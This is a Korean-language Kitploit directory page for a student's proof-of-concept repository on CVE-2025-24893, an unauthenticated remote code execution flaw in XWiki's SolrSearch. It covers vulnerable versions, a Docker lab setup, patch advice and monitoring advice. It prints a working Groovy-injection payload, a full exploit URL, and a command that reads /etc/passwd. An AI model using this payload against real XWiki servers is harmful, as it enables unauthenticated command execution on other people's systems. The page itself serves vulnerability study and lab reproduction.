Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/endusdksla/xwiki-cve-2025-24893
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubendusdksla/xwiki-cve-2025-24893

xwiki-cve-2025-24893

XWiki SolrSearch(CVE-2025-24893)에 대한 인증되지 않은 원격 코드 실행 익스플로잇으로, text 매개변수의 Groovy 주입을 통해 수행되며, Docker 기반 실습 환경과 PoC 스크립트가 포함되어 있습니다.

저장소 보기
92개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

XWiki SolrSearch Unauthenticated RCE (CVE-2025-24893)


Contributors

  • 화이트햇 스쿨 4기 25반 임두연(@endusdksla)

요약

  • XWiki는 위키 문법과 매크로를 서버 측에서 해석해 렌더링한다. 문제는 Main.SolrSearch 페이지가 게스트에게 열려 있으면서도, 사용자 입력인 text 파라미터를 충분한 검증 없이 XWiki 문법으로 평가한다는 점이다.
  • 공격자는 text에 {{groovy}} 매크로를 삽입해 서버에서 임의의 Groovy 코드를 실행할 수 있고, "command".execute()를 통해 운영체제 명령까지 호출할 수 있다. 이 취약점은 별도 로그인이나 토큰 없이 단일 GET 요청만으로 악용 가능하다.

환경 구성

이 디렉토리는 공식 XWiki standalone 배포본 15.10.1과 Java 17 런타임을 사용해 취약 환경을 구성한다.

항목내용
CVECVE-2025-24893
제품XWiki Platform
취약 버전>= 5.3-milestone-2, < 15.10.11 / >= 16.0.0-rc-1, < 16.4.1
패치 버전15.10.11, 16.4.1
취약점 유형Eval Injection -> Unauthenticated RCE
인증 필요 여부불필요
영향서버 명령 실행 가능

취약 조건

  • XWiki 버전이 패치 이전 버전이어야 한다.
  • Main.SolrSearch 엔드포인트가 게스트 접근 가능해야 한다.
  • 서버가 text 파라미터를 XWiki 문법으로 평가할 수 있어야 한다.
  • groovy 매크로가 실행 가능한 상태여야 한다.

본 환경은 XWiki 15.10.1을 사용하므로 위 조건을 만족한다.

재현 절차

root@kitploit:~
docker compose up -d --build

초기 실행 시 자동 설치가 진행되므로 몇 분 정도 소요될 수 있다.(소요시간은 대략 6~7분)

root@kitploit:~
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web

위 명령어의 결과에서 "Status":"healthy" 상태가 되면 환경 구성이 완료되어 exploit 가능한 상태가 된다.

root@kitploit:~
pip install requests

exploit.py 실행 전 의존성을 설치한다.

PoC 코드

핵심 페이로드는 아래와 같다.

root@kitploit:~
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}

위 페이로드는 text 파라미터에 삽입되어 Main.SolrSearch 페이지에서 평가된다. 그 결과 println("id".execute().text)가 서버에서 실행되고, 명령 실행 결과가 RSS 응답 본문에 반사된다.

전체 실행 스크립트는 exploit.py를 참고하면 된다.

root@kitploit:~
python3 exploit.py

위 파이썬 코드 실행으로 PoC 재현이 가능하다. 기본 명령어는 id이다.

root@kitploit:~
python3 exploit.py -c "cat /etc/passwd"

다른 명령 실행을 실행하려면 위와 같이 인자를 넘겨주면 된다.

혹은 url로 요청을 보내면 된다.(id를 출력하는 페이로드)

root@kitploit:~
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D

실행 결과

poc_id id를 응답으로 보내는 모습

poc_ls 현재 디렉토리 파일 확인

대응 방안

  • XWiki를 15.10.11 이상 또는 16.4.1 이상으로 업데이트한다.
  • 외부에 노출된 XWiki 인스턴스의 게스트 접근 정책을 점검한다.
  • 불필요한 스크립트/매크로 실행 권한을 최소화한다.
  • 의심 요청 및 SolrSearch 접근 로그를 모니터링한다.

reference

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
  • GitHub Advisory: https://github.com/advisories/GHSA-rr6p-3pfg-562j
도구 다운로드